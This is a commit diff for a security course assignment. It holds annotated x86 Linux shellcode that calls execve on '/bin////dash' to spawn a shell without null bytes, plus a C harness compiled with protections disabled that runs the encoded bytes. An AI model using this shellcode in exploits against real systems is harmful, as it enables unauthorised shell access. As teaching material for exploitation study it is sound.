[Assignment-5] updated solution task 3 (shellcode)
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2 changed files with 7 additions and 5 deletions
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@ -7,8 +7,8 @@ section .text
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; https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html ;
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; https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html ;
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; https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit ;
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; https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit ;
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; https://man7.org/linux/man-pages/man2/execve.2.html ;
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; https://man7.org/linux/man-pages/man2/execve.2.html ;
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; https://www.ascii-code.com/ ;
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; https://www.ascii-code.com/ ;
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_start:
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_start:
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xor eax, eax ; set eax to NULL without terminating the shellcode later
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xor eax, eax ; set eax to NULL without terminating the shellcode later
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@ -16,9 +16,11 @@ _start:
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push 0x68736164 ; push the ASCII values for 'dash' onto the stack in reverse order (due to little endian)
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push 0x68736164 ; push the ASCII values for 'dash' onto the stack in reverse order (due to little endian)
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push 0x2f2f2f2f ; push the ASCII values for '////' onto the stack in reverse order "
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push 0x2f2f2f2f ; push the ASCII values for '////' onto the stack in reverse order "
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push 0x6e69622f ; push the ASCII values for '/bin' onto the stack in reverse order "
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push 0x6e69622f ; push the ASCII values for '/bin' onto the stack in reverse order "
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; only multiples of wordsize (here 4 byte) can be pushed onto stack
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; therefore four / in the second push
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mov ebx, esp ; set ebx to the address of the '/bin////dash' string (top of the stack)
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mov ebx, esp ; set ebx to the address of the '/bin////dash' string (top of the stack)
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mov ecx, eax ; set ecx to NULL (=> char *const _Nullable argv[] is NULL)
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mov ecx, eax ; set ecx to NULL (=> char *const _Nullable argv[] is NULL)
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mov edx, eax ; set edx to NULL (=> char *const _Nullable envp[] is NULL)
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mov edx, eax ; set edx to NULL (=> char *const _Nullable envp[] is NULL)
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mov al, 0xb ; load the syscall number for execve (11) into lowest 8 bits of eax to prevent null bytes in shellcode
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mov al, 0xb ; load the syscall number for execve (11) into lowest 8 bits of eax to prevent null bytes in shellcode
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int 0x80 ; trigger the kernel interrupt to execute the syscall
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int 0x80 ; trigger the kernel interrupt to execute the syscall
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@ -4,7 +4,7 @@
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// gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c
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// gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c
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// Your shellcode goes here
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// Your shellcode goes here
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char *shellcode = "\x90\x90\x90...";
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char *shellcode = "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
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// ------------------------
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// ------------------------
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int main()
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int main()
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@ -13,4 +13,4 @@ int main()
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fprintf(stdout,"Length: %d\n",strlen(shellcode));
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fprintf(stdout,"Length: %d\n",strlen(shellcode));
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// Execute shellcode
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// Execute shellcode
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(*(void (*)()) shellcode)();
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(*(void (*)()) shellcode)();
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}
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}
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